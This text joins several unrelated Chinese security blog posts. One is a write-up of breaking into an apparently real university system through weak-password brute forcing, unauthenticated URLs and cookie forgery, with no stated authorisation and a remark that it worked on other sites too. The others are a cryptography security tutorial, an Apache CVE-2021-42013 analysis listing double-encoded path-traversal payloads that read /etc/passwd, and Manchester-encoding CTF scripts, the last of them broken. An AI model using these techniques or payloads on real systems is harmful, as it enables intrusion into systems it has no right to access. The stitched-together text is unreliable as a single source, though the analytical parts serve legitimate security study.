记一次COOKIE的伪造登录
一次未授权访问和COOKIE的伪造登录
0x01:发现它的网址如此
通过信息收集—发现它的密码规则如下(因重点是COOKIE的伪造登录,故密码规则就不放图了,你懂的…)
账户: xxxx
密码: Aa1xxxx
0x02:爆破一个弱口令的账户进去,发现是低权限,java写的网址…(java写的一般涉及的都是越权,未授权之类的额….)
0x03:仔细捣鼓了许久,发现毛线都没有一个….
get请求,无明显的越权操作….
0x04:正当毫无思绪的时候,换了个思路去想,如果能拿到高权限的账户,就可以发现进一步有哪些操作…如果去发下拿下账户是高权限….此时,看到这我陷入了沉思,一般这种情况都会暴露用户名,再结合密码规则..,去看看,看能不能摸到管理员…
0x05:通过发现的用户名,打算进行弱口令尝试
但是突然发现它的url有点怪…
http://xxxxx.xxxxx.edu.cn/xxxxxx/frame.htm?title=&url=http://xxxxx.xxxxx.edu.cn/xxxxxx&
/common/user_xxxxxx/&plug_in_js=&system_owner_app=/xxxxxx&_system_todo=newReceiver(true)
就直接马上想到未授权这一块….
直接掏出其他浏览器,不进行登录,进行进行访问..
好家伙,直接未授权..
既然未授权存在,那么这个系统在web端多半就千疮百孔….
………
现在的目标就是拿到高权限的用户,然后找到它的有价值的url直接未授权即可,然后再测试cookie的伪造……
只撞到一个管理员权限..
0x06:现在高权限用户拿到了,刚刚已经说了,存在未授权的漏洞,现在马上试试,看能不能在账户管理这个地方是否有未授权..(发现不存在未授权,但存在COOKIE伪造)
注意,我在burosuit中通过查看匹配,来判断是否能够访问成功。
当有cookie的时候
0x07:按道理来说,不应该如此,应该存在其他漏洞,于是我我就慢慢去删除COOKIE找到最后端验证的COOKIE,也就是COOkie的伪造是存在。
后面的过程就是不停的伪造,管他什么未授权漏洞,还是COOKIE伪造,一锅烩了,全部COOKIE伪造就好…….
到此为止,这个简单的系统就摸进去了…
总结思路:
1.先是通过弱口令规则,发现存在未授权。
2.再通过弱口令规则,找到管理员,进行继续找危害大的未授权url。
3.再寻找过程中,发现账户账户管理处存在不存在未授权,而是存在COOKIE的伪造….
4.点到为止…
换个网址…好家伙,还通杀….
总结:
1.Java类型的网站,感觉挖的更多是越权,未授权的这一块。
2.在测试过程中,每个点都不能放过…
3.挖洞更多的是细心。
实验推荐
实验:Cookie注入(蚁景网安实验室) https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014081415213800001>>
密码学的安全性浅析-1
前言
我们一直都在说,密码学是网络空间安全领域的唯一理论支撑,大家都认为密码学是安全的压舱石。
密码学对安全的关键意义毋庸讳言,安全领域非密码学的师傅们而言,对于密码学的认识可能限于打CTF时接触的基础的凯撒密码、栅栏密码到涉及分析的padding oracle attack等,再到要读最新的论文手动编程才能求解的一些问题。
大家对密码学的安全性问题了解并不足够,本系列文章核心来自我们在学习相关文献时的学习记录,整理成文希望能够提升大家对”压舱石“安全性的认识。
具体而言,在本篇文章中,我们会介绍密码学的安全性的定义、如何保证安全性;之后会介绍古典密码及其本质的缺陷,然后引出一次一密;接着会定义攻击模型及安全目标,并通过分析引出随机性的重要性,为了便于理解,在文中会时刻举例说明,同时给出实际中由于对密码学安全性理解不足而发生过的安全事故。
安全性
密码学中的安全性与计算机中的安全性是存在区别的。
计算机安全,我们以软件安全为例,其目标是防止攻击者利用程序代码触发漏洞,而密码学安全的目标是使定义明确的问题无法求解。对于软件安全而言,一个软件要么是安全的,要么是不安全的,但是对于密码领域的程序而言,安全与否并不是绝对的,我们可以计算出破解加密算法所需的工作量,即量化其安全性,但是却不能绝对称其为安全。
密码学中的安全性可以分为两种:理论安全性与计算安全性。当攻击者拥有无限时间和资源还是不能破译密码时,称其为理论安全,也叫做无条件安全,下文会介绍的一次一密便是典型;而如果一个密码算法在给定时间和资源内无法被攻破,则称其为计算安全的,这与攻击者的能力、目标等条件密切相关,在下文我们会根据不同的条件建立不同的攻击模型与安全目标等。
举个例子,设一个密码算法E的密钥K是128比特,加密过程为C=E(K,P),已知一个明文-密文对(P,C),但是不知道K。
求K,这个问题不是理论安全的,因为我们可以穷举2^128种可能;但是这个问题是计算安全的,因为即使一秒钟可以穷举1000亿个K,要穷举
2^128个K要花费超过100 000 000 000 000 000 年的时间,在实践中是安全的。
形式化及度量
我们这里可以给出形式化的定义,设对于一个密码方案,攻击者最多能执行t个操作,攻击成功概率不高于ε,则该方案是(t,ε)-安全的,此时给出的是破解密码算法的难度的下限。注意,这意味着,没有攻击者能够在执行小于t次操作得情况下,获得概率为ε的成功率,但是这并不是说明攻击者执行t次就恰好可以成功,也不会说明需要具体多少次才能成功,所以t实际上是攻击算法所需的操作量的下界。
还是以攻击128比特密钥的对称密码算法为例,理想情况下,此密码对于1到2^128之间的任何t值都是
(t,2/2^12)-安全的,最好的攻击就是暴力破解。我们可以计算以下三种可能的攻击的成功概率:
1.t=1,说明攻击者尝试了一个密钥,并以ε=1/2^128的概率成功
2.t=2^128,说明攻击者尝试了所有密钥,其中一定有一个是成功的,所以成功概率ε=1
3.t=2^64,此时的成功概率ε=
2^-64,也就是说,攻击者尝试所有密钥的一小部分时,成功概率与尝试的密钥数量成正比。
从这个例子我们可以看出,对于1到2^n比特之间的任意t,一个n比特密钥的密码至多是
(t,t/2^n)-安全的,因为无论密码多强大,暴力破解总是可以成功的,实际中的关键就是在于能够抵抗暴力攻击多久。
我们可以对(t,ε)-安全进一步简化。我们说当攻击成功至少需要t次操作时,称其为t-安全,这里我们实际上假设ε是接近1的概率,通过比特表示安全性,”n比特安全“说明攻破它需要2^n次操作。
而直到操作次数后,我们就可以通过取其对数确定其安全强度。假设需要1000000次操作,则其安全强度为log2 1000000=20比特。
其他因素
虽然比特安全性在比较不同密码的安全强度时很有用,但是其没有提供足够的关于攻击成本的信息,仅仅通过比特安全性并不能说明什么,比如两个密码都有128比特密钥和128比特安全性,但是第一个密码比第二个快100倍。那么实际上对第二个密码进行暴力破解2^128次时,可以对第一个密码做
100x2^128次操作了,如果我们以第一个快密码为标准,那么破解慢密码需要
2^134.64次操作。
那么,这能够说明第二个密码比第一个密码安全吗?当然不行,所以我们还需要考虑其他因素。
并行性
设有两个攻击,每个攻击都需要2^56次操作,第一种攻击只能串行,第二种攻击可以并行。假设我们有
2^16=65536个处理器,那么可以将并行工作的负载分成65536个独立任务,每个任务只需要执行
2^40次操作即可。
也就是说,即使并行攻击和顺序攻击执行相同数量的操作,但是并行攻击比顺序攻击快65536倍。
内存
这实际上和攻击所用的空间成本有关,即攻击需要多次内存查找、内存访问速度、访问数据大小等,这些对时间的影响非常关键。例如在当前的CPU上,从寄存器读数据需要1个周期,从CPU缓存读数据需要20个周期,从DRAM读数据需要100个周期。
预计算
这一般被称作攻击的离线阶段,这些操作只需要执行一次,在后面的攻击中就可以重复使用。比如彩虹表破解hash就是这一类,虽然在计算彩虹表进行预计算时会花费大量时间,但是在实际攻击过程中很快就可以实施。
目标数量
攻击目标数量越多,攻击面就越大,攻击者就可以拿到更多关于密钥的信息。举个例子,设目标为n比特的密钥,需要2^n次尝试才能找到正确的密钥,但如果攻击目标为多个n比特密钥,即对于单个明文P,攻击者有M个不同的密文,其分别用M个n比特密钥加密得到。如果攻击者要破解的是M个密钥中的每一个,那么还是需要
2^n次操作,但是如果只需要破解M个中的一个,那么只需要
2^n/M次操作。
也就是说,攻击成本随着目标数量增加而降低。
安全性证明
要评估某密码算法的安全性,我们一般会通过数学证明得到。
在密码学中其被称为可证明安全性,它可以证明某个密码方案至少和解决另一个已知的困难问题是同等困难的,只要困难问题仍然存在,那么方案就是安全的,这种证明方式被称为规约,其来自复杂性理论。
安全性证明根据其所使用的困难问题的类型,可以分为两种:与数学问题相关、与密码问题相关。
与数学问题相关
破解这类方案至少与解决一些数学难题一样困难。
密码学中一个著名的数学难题就是大数分解,RSA正是依赖于它。RSA通过计算C=p^e mond n来加密明文p,其中,e和大数n=pq是公钥。
通过P=c^d mond n解密,其中d是和e、n有关的私钥。
如果我们可以分解n,那么就可以从公钥中恢复私钥来破解RSA;如果有私钥,就可以分解n。
换句话说,恢复RSA私钥和分解大数n是等价的困难问题,这就是我们所说的归约。
与密码问题相关
这类方案是与另一个密码方案比较,并证明只有破解第一个密码方案时,才能破解第二个密码方案。对称密码的安全性证明常用这种方式。
不过可证明安全性并不适用于所有类型的算法,有一些密码算法并没有被证明是安全的,如AES,AES不能规约到一些众所周知的难题,既不与数学问题相关,也不与密码问题相关,而我们之所以还用AES,是因为许多专家尝试破解它但是失败了。此时的安全性证明,我们成为启发式的:密码分析人员分析多轮后,密码算法的安全冗余还是很高,我们就相信它是安全的。
错误的安全性证明
我们已经说了安全性证明非常重要,但是密码学大佬们在进行安全性证明时仍然有可能犯错,对于OAEP的证明就是一个典型例子。OAEP是一种使用RSA实现安全加密的方法,在许多应用程序中使用,OAEP给出的安全性证明中声称其抵抗选择密文攻击的有效期为7年,但是后来大家研究发现证明是错误的,给出的结论也是错误的。之后给出了新的证明,结论是OAEP对选择密文攻击是安全的。
古典密码
古典密码是计算机发明之前的密码,算法作用在字母上而不是比特位上。古典密码中最经典的就是凯撒密码和维吉尼亚密码,二者的基础知识背景这里不再介绍。
凯撒密码
凯撒密码容易被破解,只需要把密文往前移动3位即可得到响应的明文。这种方式安全程度非常低,在古罗马时期经常被使用,不过实际上,前些年意大利警方还通过破译一种凯撒密码的变种抓到了黑手党头目。要增强凯撒密码的安全性,可以改变移位的位数,不过即使这么做了,攻击者最多尝试25次也就可以解密了。
维吉尼亚密码
维吉尼亚密码虽然比凯撒密码安全了很多,但还是容易被攻破。
举个例子,明文“THEY DRINK THE TEA"通过密钥”DUH“加密后的密文为”WBLBXYLHRWBLWYH“
第一步找出密钥的长度。我们注意到密文中WBL出现了2次,间隔9个字母,这意味着相同的3个字母被用同样的移位模式加密,所以密钥长度要么是9,要么能够整除9.而在英语中,THE是最常出现的3个字母的组合,所以我们可以认为这个重复的3个字母为THE,那么可能的密钥就是DUH.
第二步使用频率分析法找出字母分布的不均匀性。在英语中E是最常见的字母,所以如果密文中X出现次数最多,那么X对应的明文很可能就是E
工作原理
通过上面对两种古典密码的简单分析,我们已经知道密码的工作原理主要就是置换和模式。
置换是指能够变换一个对象的函数,且对每个对象都有唯一的逆(如凯撒密码中的3字母移位),而模式则是通过置换处理任意长度的消息的算法(如凯撒密码中的模式就是对每个字母施加相同的置换,而维吉尼亚密码中则是对不同位置的字幕施加不同的置换)
置换
并不是任意置换都是安全的,为了保证安全,置换需要满足:密钥确定置换,只要密钥保密,则置换保密。不同的密钥确定不同的置换。置换应当看起来随机,经过置换的密文应该没有显著的特征或者可识别的模式。
如果满足以上条件,则称这种置换为安全置换,但是这仅是建立安全密码的必要不充分条件,因为其还和模式相关。
操作模式
在说明操作模式为什么也是建立安全密码的必要条件之前,我们举个例子。
假设我们现在已经有一种安全的置换:A->X,B->M,N->L
那么对于香蕉的英文BANANA则有密文:MXLXLX
我们注意到,仅仅对明文中的所有字母施加相同的置换,在密文中会表现出一种重复的模式,攻击者分析这种模式,即使不能获得完整的信息,但是也能获得一部分信息,比如在这个例子的密文中我们看到在字母的第2,4,6位出现相同的字母,在3,5位出现了相同的字母,如果攻击者知道密文对应的是一种水果,那么攻击者很容易推测出这是BANANA,而不是ORANGE等其他水果。
从这个例子可以看出模式的重要性,模式通过对相同的字母施加不同的置换从而降低了明文中重复字母在密文中表现出的特征的风险。以维吉尼亚密码为例,如果密钥长度为N,那么就有N种不同的置换被施加在连续长度为N的字母串上,不过如果N并非足够长,我们就可以通过频率分析对其进行攻击。所以,如果维吉尼亚密码并应用于加密与密钥长度相同的明文,则频率分析就失效了。
一次一密
我们回过头来在看古典密码,它注定是不安全的,以我们现在的计算能力分分钟就能攻破它。我们知道,为了确定安全,置换应该看起来是随机的,最好的方法就是从所有置换的集合中随机选择每个置换。实际上可以选择的置换有很多,对于字母表,有26!,约等于2^88种置换,但是古典密码却只能使用其中的一小部分。
此外,置换不仅仅可以通过字母移位进行,还可以使用其他操作如乘法、加法等,这便是现代密码了,比如给定128比特密钥,然后进行一定比特位的操作来加密单个字母。
古典密码是绝对不安全的,那么有没有绝对安全的密码呢?
有的,那便是我们这里有介绍的一次一密。
一次一密有绝对的保密性,即使攻击者有无限的计算能力,也无法了解除明文长度以外的任何信息。
设明文为P,密钥为K,其长度与P相等,密文为C,则一次一密的加密过程为:
这个符号是异或运算符
解密则是
一次一密的关键在于密钥K只能使用一次。如果使用两次,设分别将明文P1,P2加密为C1,C2,则攻击者通过如下运算
可以得到P1,P2的异或结果,从而导致信息泄露(当攻击者这知道一条明文时,就可以通过上式结果推出另一条明文)
一次一密的不便之处在于密钥长度需要和明文一样,除了这个缺点外,是非常完美的。香农在上世纪40年代的时候就已经证明了其安全性。
香农指出,要实现完美的保密,一次一密的密钥必须至少与明文一样长,这样攻击者就无法在给定密文的情况下排除任何可能的明文。
这是非常直观的,如果K是随机的,那么C也是随机的,因为随机字符串与任何固定字符串异或得到的结果也是随机的。随机比特串第一位为0的概率为1/2,一个随机比特与另一比特异或的结果为0的概率为1/2,在任意长度的比特串上这一点都成立。换句话说,对于不知道K的攻击者而言,即使其拥有的时间和算力是无限的,但是对他而言C依然是随机的。
假设C长度为128比特,那么有2^128种可能的密文,对于攻击者而言,
就有2^128种可能的明文。如果密钥长度小于128,即可能的密钥少于
2^128种,那么攻击者可以排除某些明文。比如密钥为64比特,那么攻击者可以确定
2^64种可能的明文,这就排除了大多数的128位比特串。
此时攻击者可能不知道明文是什么,但是其知道明文不是什么,从而破坏了完美保密性。
现在我们已经知道,古典密码不安全,一次一密不实用,那么怎么设计安全和实用兼顾的密码呢?
攻击模型与安全性
如果一个密码体制是安全的,必须要定义好对应的攻击模型和安全性目标。攻击模型是关于攻击者可能与密码算法如何交互以及攻击者能力的一系列假设。在进一步分析之前,我们要先了解Kerckhoff原则,其指出,密码的安全性应仅取决于密钥的保密性,而不应取决于密码算法的保密性。
黑盒模型
如果攻击者只能看到密码模型的输入和输出,则称其为黑盒模型。黑盒模型中依据从最弱到最强的顺序列举如下:
唯密文攻击(ciphertext-only attackers,COA):仅知道密文,但不知道相关的明文,也不知道有哪些可以选择的明文。此时攻击者是完全被动的,无法执行加密或解密操作
已经明文攻击(known-plaintext attackes,KPA):知道密文以及其对应的明文。此时攻击者也是被动的,不过它可以获得一系列明文-密文对,其中明文是随机选择的。
选择明文攻击(chosen-plaintext attacks,CPA):可以对选定的明文进行加密并得到对应的密文。此时的攻击者是主动的
选择密文攻击(chosen-ciphertext attackers,CCA):可以进行加密和解密。注意,这个模型只是表示攻击者可以介入加密和查看明文的情况,其解密的内容并不一定足以攻破系统。
灰盒模型
灰盒模型中,攻击者可以访问密码的实现,比如对于智能卡、嵌入式系统等,攻击者对其拥有物理访问权限,从而可以篡改算法的内部结构。这类模型中最典型的一类就是侧信道攻击。
侧信道攻击依赖于密码实现的信息源,攻击者观察密码实施时的模型特征,比如对于软件而言,可以观察其执行时间、错误消息、返回值、分支等,对于硬件而言,可以观察其功耗、电磁辐射等。
侵入式攻击也属于灰盒模型,其可以通过激光故障注入等方法改变芯片的行为。
安全目标
我们之前一直都没有明确定义密码的安全目标,只是笼统地说,能让攻击者对密码一无所示的就是好方法,实际上这是远远不够的。实际上,已经有两个常用的安全目标了。
1.不可区分性(indistinguishability,IND):密文应与随机字符串没有区别。关于这一点,可以通过一个game说明。
设攻击者选定两个明文,收到两者的密文之一,攻击者无法分辨出这是哪个明文对应的密文
2.不可展性(non-malleability,NM):给定密文C1,应该不可能创建另一个密文C2,使其对应的明文P2以有意义的方式与P1相关
IND-CPA
上述的安全目标仅在于具体的攻击模型结合时才有用,一般我们会写作GOAL-MODEL,如IND-CPA,表示的是针对选择明文攻击者的不可区分性。
以IND-CPA为例,这是最重要的安全概念之一,这也称为语义安全,只要密钥保密,密文就不会泄露任何有关明文的信息,当对同一明文加密两次时,加密系统会返回不同的密文。
IND-CPA的关键是随机化,我们还是以IND game为例。设攻击者选择两个明文P1,P2并接受两个明文之一对应的密文但是不知道它对应的是哪一个明文。在CPA模型中,攻击者可以执行加密以获得大C1=E(K,P1),C2=E(K,P2),如果加密不是随机的,那么攻击者查询Ci是否等于C1或C2就可以确定对哪个明文加密,从而赢得game。
实现IND-CPA最简单的方式就是使用确定性随机比特发生器(deterministic random generator,DRBG),它可以返回给定的某些秘密值的随机比特:
E(K,R,P)=(DBRG(K||R)异或P,R)
上式中的R是每次加密随机选择的字符串,并与密钥K一起提供给DRBG,如果其生成的是真随机比特串,那么该密码的就是IND-CPA安全的。
这里我们只是简单分析了IND-CPA,这种GOAL-MODEL组合还有很多,比如NM-CPA,NM-CCA,IND-CPA,IND-CCA等,他们之间的一些关系是很明显的:IND-CCA蕴含着IND-CPA,NM-CCA蕴含着NM-CPA,因为CPA攻击者可以做的事情CCA攻击者也可以做。
以上我们都还是考虑了对称密码,对于非对称密码而言,由于任何攻击者都可以使用公钥加密,所以模型默认都是CPA的
弱密码算法
尽管我们已经介绍了相关的密码学概念,但是在实际中如果没有选择适当的密码算法、模型等,还是会造成严重的危害。
在GSM时代,手机通信的加密使用了A5/1的算法,通过建立查找表便可以对其进行攻击。在参考连接6中,可以看到详细的情况。
错误模型
即使密码使用者学习过安全模型,但还是有可能使用错误模型。很多通信协议确实使用了在CPA或CCA中安全的算法,但是实际中有些攻击是不需要涉及CPA中的加密查询或CCA中的解密查询的,比如对于Padding oracle attack而言,只需要进行有效性查询即可,在这种攻击方案下,只有密文对应的明文有适当的填充时,密文才有效,如果填充不正确,解密就会失败,攻击者可以通过观察解密是否失败进行攻击。
这种攻击方案,打CTF的师傅们应该很熟悉了,这里也不再进一步说明,有兴趣的话也可以参考《白帽子讲web安全》中的相关章节。
随机性
我们已经知道,在密码系统中,需要随机性来保证安全。可以说,其中的关键就在于随机比特的生成,其依赖于熵源以及从熵源产生随机比特的算法。
熵源由随机数发生器(RNG)提供,算法由伪随机数发生器(PRNG)提供。
RNG的作用是利用模拟世界中的熵在数字系统中生成不可预测的比特,比如从温度、噪声、静电测量中采样出比特信息,也可以从传感器,IO,系统日志等提取正在运行的OS中的熵。而PRNG的作用则是从一些真正随机的比特生成许多人为的随机比特。
总结来说,RNG以非确定的方式从模拟源生成真随机比特,不保证高熵,而PRNG以确定的方式从数字源生成看起来随机的比特,并具有最大熵。
在随机性方面可能出现哪些问题呢?
熵源不理想
一开始的Netscape浏览器的SSL代码是根据如下所示的伪码计算出128比特的PRNG种子的
这里的问题在于,PID和microseconds是可以被猜测的,如果可以猜到seconds,那么microseconds就只有10^6个可能的值
这是Log(10^6)的熵,大约20比特
另外,PID和PPID各15比特,所以本应有15+15=30比特的熵,但是在标注的1中,可看到,PPID和PID有3比特的重叠,所以只能产生15+12=27比特的熵
所以一共的熵为20+27=47比特,但是128比特的种子应该128比特的熵才对。这是熵源不理想的典型例子。
启动时熵不足
前些年有研究人员扫描整个互联网并从TLS证书和SSL主机中提取公钥,发现一些系统具有相同的公钥,私钥也非常相似。这是非常不合常理的,因为一般情况下,对于两个不同的大数n=pq,n'=p'q',p与p'不相等,q与q'不相等,但是研究人员发现经常会有n与n'不相等的情况下,p=p'
后面发现这其中的原因是,尽管使用了不错的PRNG,但由于在初次启动时会尽早生成公钥,所以在收集到足够的熵之前,如果基础熵源选取相同,那么不同系统中的PRNG会产生相同的随机比特。
会生成相同的密钥,是由于以下伪码中的密钥生成方案造成的
如果两个系统的种子相同,运行上述代码后会生成相同的p,q,也就会生成相同的n。而只有研究人员发现的,在不同密钥中存在共享素数,则是因为在密钥生成过程中注入了额外的熵,如下所示
如果两个系统使用相同的种子运行上述代码,会生成相同的p,但是由于prng.add_entropy()注入了熵,会得到不同的q
对于n=pq,n'=pq'的情况,会有什么为题呢?
这里的关键在于,通过计算n和n‘的最大公约数就可以恢复出p。
非加密PRNG
PRNG很常见,在不涉及密码学的场合中也有其身影,我们可以分为加密PRNG和非加密PRNG。非加密PRNG的作用一般是用于生成良好均匀的分布,常用于科学模型、视频游戏中,它只关心比特之间的概率分布的质量,但是不关心它的可预测性,所以在密码程序中不应使用非加密PRNG.
但是实际上,很多编程语言中都用的是非加密PRNG,比如libc中的rand,drand48,PHP中的rand,mt_rand,Python中的random模运算,Ruby中的Random类等。最常见的非加密PRNG就是Mersenne Twister(MT)算法了,它可以产生没好友统计偏差的符合一致分布的随机比特,但是这些比特是可预测的,给定一些MT产生的一些比特,可以预测接下来会出现哪些比特。
MT算法比加密PRNG简单多了,其内部状态是一个由624个32比特字组成的数组S,其初始值为S1,S2,...S624,运行一次后变为S2,...S625...其中的Sk+624可以通过如下计算:
初始状态的比特可以表示为输出比特之间的异或,反之亦然。
如果将其应用于密码系统则会造成危害。
MediaWiki使用随机性生成诸如安全令牌、临时密码等信息,按理来说,此处的随机性应是不可预测的,但是旧版本的MediaWiki使用了非加密PRNG来生成这些令牌和密码,其源码部分如下
从代码中可以看到mt_rand()
这就是我们一直在说的Mersenne Twister,利用它攻击者就可以预测未来的令牌和临时密码。
参考
1.Shoup V. OAEP reconsidered[C]//Annual International Cryptology Conference. Springer, Berlin, Heidelberg, 2001: 239-259.
2.https://www.semanticscholar.org/paper/Understanding-brute-force-Bernstein/3bf374700ec98ea5d1b7658ec85c472f2fe4d952
3.https://link.springer.com/article/10.1007/s00145-003-0213-5
4.https://dl.acm.org/doi/10.1145/800070.802212
5.https://www.schneier.com/academic/archives/1998/01/cryptanalytic_attack.html
6.https://zh.wikipedia.org/wiki/A5/1
7.https://guidanceshare.com/wiki/Non-cryptographic_PRNG
8.https://www.mediawiki.org/wiki/Manual:Config_script/it
9.https://blog.cryptographyengineering.com/2012/03/09/surviving-bad-rng/
10.https://www.cs.umd.edu/class/fall2018/cmsc818O/papers/ps-and-qs.pdf
CVE-2021-42013 Apache HTTP Server 路径穿越漏洞
前言
CVE-2021-42013为目录穿越文件读取漏洞,影响 httpd 2.4.49,CVE编号为CVE-2021-41773, https 2.4.50不完全修复可绕过,如果开启 mod_cgi 则可RCE。
分析
CVE-2021-41773复现分析如下:
利用网上师傅的docker镜像
docker run -p 8080:80 -d --privileged turkeys/httpd:cve-2021-41773
环境中有安装好的 pwndbg 插件,直接按步调试即可,这里参考Betta师傅的文章
正文
CVE-2021-41773不完全的修复导致了 CVE-2021-42013
可用的 payload 有
/%2%65.//%2%65%2e//.%2%65//%2e%2%65/ /%2%65%2%65//%%32e%%32e//%25%32%65%25%32%65/ # 无法生效 ap_normalize_path 不能将 %25 进行url解码处理后为 %
我们注意到 https 2.4.50 中添加了补丁
添加的补丁是对 .%2e 和 %2e%2e 进行了校验,但是我们在 request.c 中注意到还会调用 ap_unescape_url 来对 url 进行又一次的编码,所以通过两次编码就可以绕过
request.c::ap_process_request_internal
util.c:ap_normalize_path
返回结果为一次编码后的结果
util.c:ap_unescape_url
util.c:ap_unescape_url
我们看到此时保存值的指针地址 0x7fa06c00a1f0 ◂— '/cgi-bin/%2e./%2e./%2e./%2e./%2e./etc/passwd'
函数执行结束后 打印出 0x7fa06c00a1f0 对应的值
发现已经对 url 进行了再一次的解码
命令执行
在 /etc/httpd/httpd.conf 配置文件中去掉 mod_cgid.so 的注释
结语
至此,CVE-2021-42013的漏洞分析到此结束,如有不当感谢师傅指出!!!
参考链接
https://mp.weixin.qq.com/s/IYbaDLrMJBT0yb4xT3UYWg
crypto之曼彻斯特编码
通过对数字信号进行编码来表示数据,不归零编码、曼切斯特编码、差分曼切斯特编码都是其编码方式。
差分曼彻斯特编码是一种使用中位转变来计时的编码方案。数据通过在数据位开始处加一转变来表示。令牌环局域网就利用差分曼彻斯特编码方案。 在 每个时钟周期的中间都有一次电平跳变,这个跳变做同步之用。 在每个时钟周期的起始处:跳变则说明该比特是0,不跳变则说明该比特是1。 差分曼彻斯特编码的优点为:收发双方可以根据编码自带的时钟信号来保持同步,无需专门传递同步信号的线路,因此成本低;缺点为:实现技术复杂。
曼彻斯特编码(Manchester Encoding),也叫做相位编码(PE),是一个同步时钟编码技术,被物理层使用来编码一个同步位流的时钟和数据。曼彻斯特编码被用在以太网媒介系统中。曼彻斯特编码提供一个简单的方式给编码简单的二进制序列而没有长的周期没有转换级别,因而防止时钟同步的丢失,或来自低频率位移在贫乏补偿的模拟链接位错误。在这个技术下,实际上的二进制数据被传输通过这个电缆,不是作为一个序列的逻辑1或0来发送的(技术上叫做反向不归零制(NRZ))。相反地,这些位被转换为一个稍微不同的格式,它通过使用直接的二进制编码有很多的优点。
差分曼彻斯特编码,每位中间的跳变仅提供时钟定时,而用每位开始时有无跳变表示"0"或"1",有跳变为"0",无跳变为"1"。
曼彻斯特编码的编码规则是:在信号位中电平从低到高跳变表示1,在信号位中电平从高到低跳变表示0。
这个图就单独的表示曼彻斯特编码的0,1原理图 从低到高就是0,从高到低就是1
看曼彻斯特就简单的分成一段一段看他上升还是下降就可以表示出来
而差分曼彻斯特要看他前一个信号的值,比如这图里第一个就是不跳就用1表示,第二个信号从底下升到高处就跳了表示0,第三个也是不跳用1表示,第4个同理也是1,第5个跳了就是0。而差分的意思应该就是要把一段内拆成两段只看前一段,而后一半是用来同步时钟用的,顺便可以传输下一个数据来表示是否有跳
再来看下三种信号的区别
在来说下802.3曼彻斯特和标准曼彻斯特的区别,就是编码后的字符的区别。 第一种G. E. Thomas, Andrew S. Tanenbaum1949年提出的,它规定0是由低-高的电平跳变表示,1是高-低的电平跳变。 按此规则有:
• 编码0101(即0x5),表示原数据为00;
• 编码1001(0x9)表示10;
• 编码0110(0x6)表示01;
• 编码1010(0xA)表示11。
第二种IEEE 802.4(令牌总线)和低速版的IEEE 802.3(以太网)中规定, 按照这样的说法, 低-高电平跳变表示1, 高-低的电平跳变表示0。
• 编码0101(0x5)表示11;
• 编码1001(0x9)表示01;
• 编码0110(0x6)表示10;
• 编码1010(0xA)表示00;
顺便推荐一个可解,差分曼彻斯特和标准曼彻斯特和802.3曼彻斯特 http://www.pc6.com/softview/SoftView_606143.html
BUUOJ-Crypto-传感器
5555555595555A65556AA696AA6666666955
这是某压力传感器无线数据包解调后但未解码的报文(hex)
已知其ID为0xFED31F,请继续将报文完整解码,提交hex。
提示1:曼联
去网上抄了个脚本,这个脚本的转换其实就是应用了802.3曼彻斯特的规则取了1和3位,题目里给了id的话,可以看flag解出来是否含有id?吗,相当于校验是否正确的一个功能。
cipher='5555555595555A65556AA696AA6666666955'
def iee(cipher):
tmp=''
for i in range(len(cipher)):
a=bin(eval('0x'+cipher[i]))[2:].zfill(4) #补齐四位方便取1和3位
tmp=tmp+a[1]+a[3] #加上1和3位,就是应用了802.3的規則,或者定义一个字典替换也可以
print(tmp)
plain=[hex(int(tmp[i:i+8][::-1],2))[2:] for i in range(0,len(tmp),8)]
print(''.join(plain).upper())
iee(cipher)
# tmp="111111111111111101111111110010111111100000100110000010101010101010011111"
# flag=""
# for i in range(0,len(tmp),8):
# # plain=hex(int(tmp[i:i+8][::-1],2))[2:]
# # print(''.join(plain).upper())
# flag+=((hex(int(tmp[i:i+8][::-1],2)))[2:])
# print(flag.upper())
或者用工具也可以直接出
CISCN(全国大学生信息安全竞赛) 2016 传感器2
现有某ID为0xFED31F的压力传感器,已知测得压力为45psi时的未解码报文为:
5555555595555A65556A5A96AA666666A955 压力为30psi时的未解码报文为: 5555555595555A65556A9AA6AA6666665665 请给出ID为0xFEB757的传感器在压力为25psi时的解码后报文,提交hex。
注:其他测量读数与上一个传感器一致。
tips:flag是flag{破译出的明文}
根据进制转换,转成十进制差5的话就是11
0xFED31F
45psi fffffed31f635055f8
30psi fffffed31f425055d7
找到两个psi差的地方,相减,括号内是十进制的数
f8(248)-d7(215)=0x21(33)
63(99)-42(66)=0x21(33)
15差33的话,5就是差11。除3即可
15 33
5 11
0xFEB757
CC=215-11
37=66-11
拿差值替换掉
25psi fffffed31f375055CC
把检验位直接替换掉
fffffeb757375055cc
转成大写
FFFFFEB757375055CC
CISCN(全国大学生信息安全竞赛) 2017 传感器1
已知ID为0x8893CA58的温度传感器的未解码报文为:3EAAAAA56A69AA55A95995A569AA95565556 此时有另一个相同型号的传感器,其未解码报文为:3EAAAAA56A69AA556A965A5999596AA95656 请解出其ID,提交flag{hex(不含0x)}。
先把给的字符串转成以一位字符串转为4位2进制的01数字。然后在以两位分割,因为差分曼彻斯特编码后面的数据是同步时钟和决定下一个传输的数据的,所以加进去之后。还要等于cc,让他继续下一步的操作,判断是否为01就是是否有跳。bintohex函数就是把01数据转为字符串。可以看下面另一个脚本的单独操作
#coding:utf-8
import re
#hex1 = 'AAAAA56A69AA55A95995A569AA95565556' # # 0x8893CA58
hex1 = 'AAAAA56A69AA556A965A5999596AA95656'
def bintohex(s1):
s2 = ''
s1 = re.findall('.{4}',s1)
print ('每一个hex分隔:',s1)
for i in s1:
s2 += str(hex(int(i,2))).replace('0x','')
print ('ID:',s2)
def diffmqst(s):
s1 = ''
s = re.findall('.{2}',s)
cc = '01'
for i in s:
if i == cc:
s1 += '0'
else:
s1 += '1'
cc = i # 差分加上cc = i
print ('差分曼切斯特解码:',s1)
bintohex(s1)
if __name__ == '__main__':
bin1 = bin(int(hex1,16))[2:]
diffmqst(bin1)
在贴一个脚本
str1 = '3EAAAAA56A69AA556A965A5999596AA95656'
s = ''
for i in xrange(len(str1)/2):
ch = str1[i*2 : i*2+2]
b = bin(int(ch, 16))[2:]
b = '0' * (8-len(b)) + b
s += b
print 's:'+s
r = ''
#因为此处除了前六位都是10和01,很明显是曼彻斯特,因而把前六位去掉即可看到正确的结果
s = s[6:]
print 's:'+s
for i in xrange(len(s)/2-1):
c = s[i*2+1 : i*2+3]
if c == '11' or c=='00':
r += '1'
else:
r += '0'
print "r:"+r
ret =''
for i in xrange(len(r)/8):
c = r[i*8 : i*8+8]
print str(r[i*8 : i*8+8]) + ' ' + c
